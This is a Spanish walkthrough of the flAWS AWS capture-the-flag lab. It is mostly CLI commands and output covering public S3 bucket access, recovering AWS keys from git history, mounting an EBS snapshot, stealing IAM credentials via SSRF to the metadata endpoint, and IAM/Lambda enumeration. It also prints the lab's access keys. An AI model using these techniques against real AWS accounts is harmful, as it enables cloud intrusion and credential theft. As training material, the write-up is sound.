flAWS es un capture de flag para enseñar problemas que son específicos de AWS.
Link -> http://flaws.cloud/
Nivel 1
Notas: los nombres de S3 son únicos y deben estar acorde al dominio. Se pueden tener sitios estáticos muy eficientes en S3 con cloud. La lógica compleja es (aunque puedes hacerlo sin security headers):
Como saber si un sitio esta en S3? Con un DNS lookup.
ali% dig flaws.cloud any +multiline +noall +answer flaws.cloud. 4 IN A 52.218.176.138 flaws.cloud. 21599 IN NS ns-1061.awsdns-04.org. flaws.cloud. 21599 IN NS ns-1890.awsdns-44.co.uk. flaws.cloud. 21599 IN NS ns-448.awsdns-56.com. flaws.cloud. 21599 IN NS ns-966.awsdns-56.net. flaws.cloud. 899 IN SOA ns-1890.awsdns-44.co.uk. awsdns-hostmaster.amazon.com. ( 1 ; serial 7200 ; refresh (2 hours) 900 ; retry (15 minutes) 1209600 ; expire (2 weeks) 86400 ; minimum (1 day) )
De hecho si vas a 52.218.176.138 en tu buscador verás AWS.
Hay muchas regiones y lo puedes bruteforcear o hay tools que lo hacen por ti, pero para saber que región lo más sencillo es una nslookoup
kali% nslookup 52.218.176.138 138.176.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
De ahí puedes ir directamente a http://flaws.cloud.s3.amazonaws.com/ o hacerlo con la CL
Kali% aws s3 cp s3://flaws.cloud/secret-dd02c7c.html --no-sign-request --region us-west-2 . download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html kali% cat secret-dd02c7c.html <html> <head> <title>flAWS</title> <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"> <style> body { font-family: Andale Mono, monospace; } :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000; border-width: 1px; border-style: solid;} </style> </head> <body text="#00d000" bgcolor="#000000" style="max-width:800px; margin-left:auto ;margin-right:auto" vlink="#00ff00" link="#00ff00"> <center> <pre > _____ _ ____ __ __ _____ | || | / || |__| |/ ___/ | __|| | | o || | | ( \_ | |_ | |___ | || | | |\__ | | _] | || _ || ` ' |/ \ | | | | || | | \ / \ | |__| |_____||__|__| \_/\_/ \___| </pre> <h1>Congrats! You found the secret file!</h1> </center> Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a>%
Nivel 2
Muy similar pero si intentamos entrar directo no sale:
En este caso, igual que el anterior, list estaba enable
kali% aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2017-02-26 21:02:15 80751 everyone.png 2017-03-02 22:47:17 1433 hint1.html 2017-02-26 21:04:39 1035 hint2.html 2017-02-26 21:02:14 2786 index.html 2017-02-26 21:02:14 26 robots.txt 2017-02-26 21:02:15 1051 secret-e4443fc.html kali%
Podemos hacer exactamente lo mismo que en el anterior.
Nivel 3
Muy similar pero tienes que estar autenticado y no hay un “secret” pero hay un .git:
kali% aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ PRE .git/ 2017-02-26 19:14:33 123637 authenticated_users.png 2017-02-26 19:14:34 1552 hint1.html 2017-02-26 19:14:34 1426 hint2.html 2017-02-26 19:14:35 1247 hint3.html 2017-02-26 19:14:33 1035 hint4.html 2020-05-22 14:21:10 1861 index.html 2017-02-26 19:14:33 26 robots.txt kali%
Puedes bajar todo con sync
kali% aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . warning: Skipping file /home/kali/.mozilla/firefox/4km1vnxb.default-esr/lock. File does not exist. Completed 0 Bytes/~128.9 KiB (0 Bytes/s) with ~29 file(s) remaining (calculatiCompleted 52 Bytes/256.6 KiB (41 Bytes/s) with 36 file(s) remaining download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to .git/COMMIT_EDITMSG download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to .git/description [...] kali% cd .git kali% ls COMMIT_EDITMSG description hooks info objects config HEAD index logs refs kali%
Con git.log puedes ver cambios:
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master) Author: 0xdabbad00 <[email protected]> Date: Sun Sep 17 09:10:43 2017 -0600 Oops, accidentally added something I shouldn't have commit f52ec03b227ea6094b04e43f475fb0126edb5a61 Author: 0xdabbad00 <[email protected]> Date: Sun Sep 17 09:10:07 2017 -0600 first commit (END)
kali% git checkout f52ec03 M index.html Previous HEAD position was b64c8dc Oops, accidentally added something I shouldn't have HEAD is now at f52ec03 first commit kali% ls access_keys.txt hint1.html hint3.html index.html authenticated_users.png hint2.html hint4.html robots.txt kali%
ahora existe un archivo que se llama access_keys.txt
Con eso podemos hacer un profile nuevo de AWS y vemos todos los buckets
kali% aws configure --profile flaws AWS Access Key ID [****************PLAF]: AKIAJ366LIPB4IJKT7SA AWS Secret Access Key [****************n]: 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 Default region name [None]: Default output format [None]: kali% aws --profile flaws s3 ls 2017-02-12 16:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud 2017-05-29 12:34:53 config-bucket-975426262029 2017-02-12 15:03:24 flaws-logs 2017-02-04 22:40:07 flaws.cloud 2017-02-23 20:54:13 level2-c8b217a33fcf1f839f.....flaws.cloud 2017-02-26 13:15:44 level3-9afd3927f195e10225....flaws.cloud 2017-02-26 13:16:06 level4-1156739cfb264ced6de.....flaws.cloud 2017-02-26 14:44:51 level5-d2891f604d2061b6977.....flaws.cloud 2017-02-26 14:47:58 level6-cc4c404a8a8b876167....flaws.cloud 2017-02-26 15:06:32 theend-797237e8ada164bf9f....flaws.cloud
Nivel 4
Para saber quien somos (los de las credentials)
kali% aws --profile flaws sts get-caller-identity { "UserId": "AIDAJQ3H5DC3LEG2BKSLC", "Account": "975426262029", "Arn": "arn:aws:iam::975426262029:user/backup" }
Vemos que nos llamamos backup ^ asi que vamos a buscar backups.
kali% aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 --region us-west-2 { "Snapshots": [ { "Description": "", "Encrypted": false, "OwnerId": "975426262029", "Progress": "100%", "SnapshotId": "snap-0b49342abd1bdcb89", "StartTime": "2017-02-28T01:35:12.000Z", "State": "completed", "VolumeId": "vol-04f1c039bc13ea950", "VolumeSize": 8, "Tags": [ { "Key": "Name", "Value": "flaws backup 2017.02.27" } ] } ] } kali%
Tienes que crear una maquina virtual y copiar el snapshot y montarlo
aws --profile YOUR_ACCOUNT ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Cuando lo montas puedes ver todos los archivos, hay uno con una contraseña en /home/ubuntu/setupNginx.sh
Nivel 5
El instructivo dice que tiene un Proxy asi que podemos pedir el meta-data
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
Desde ahí podemos ir a /latest/meta-data/iam/security-credentials/flaws y vemos un token esta vez. Ese token lo tenemos que poner en el ~/.aws/credential
kali% aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud PRE ddcc78ff/ 2017-02-26 21:11:07 871 index.html
Nivel 6
Para empezar este nivel recibes unas credenciales, lo primero que tienes que hacer es ver el nombre de la cuenta
kali% aws --profile level6 iam get-user { "User": { "Path": "/", "UserName": "Level6", "UserId": "AIDAIRMDOSCWGLCDWOG6A", "Arn": "arn:aws:iam::975426262029:user/Level6", "CreateDate": "2017-02-26T23:11:16Z" } } kali%
Puedes checar las policies del usuario
kali% aws --profile level6 iam list-attached-user-policies --user-name Level6 { "AttachedPolicies": [ { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" }, { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" } ] } kali%
Puedes ver que dice las polizas con:
kali% aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17Z", "UpdateDate": "2017-02-20T01:48:17Z" } } kali% aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17Z" } } kali%
Lo interesante es el GET, ahora vamos a revisar la otra poliza.
aws --region us-west-2 --profile level6 lambda list-functions
Eso te dice que hay una función que se llama leve6
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
Esa tiene otra polica “s33ppypa75” rest-api-id. Si la revisas
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
Te dice que puedes executar "Prod".
Ahora para ejecutarla: Lambda functions necesitan rest-api-id, stage name, region, and resource como https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
Fin 🙂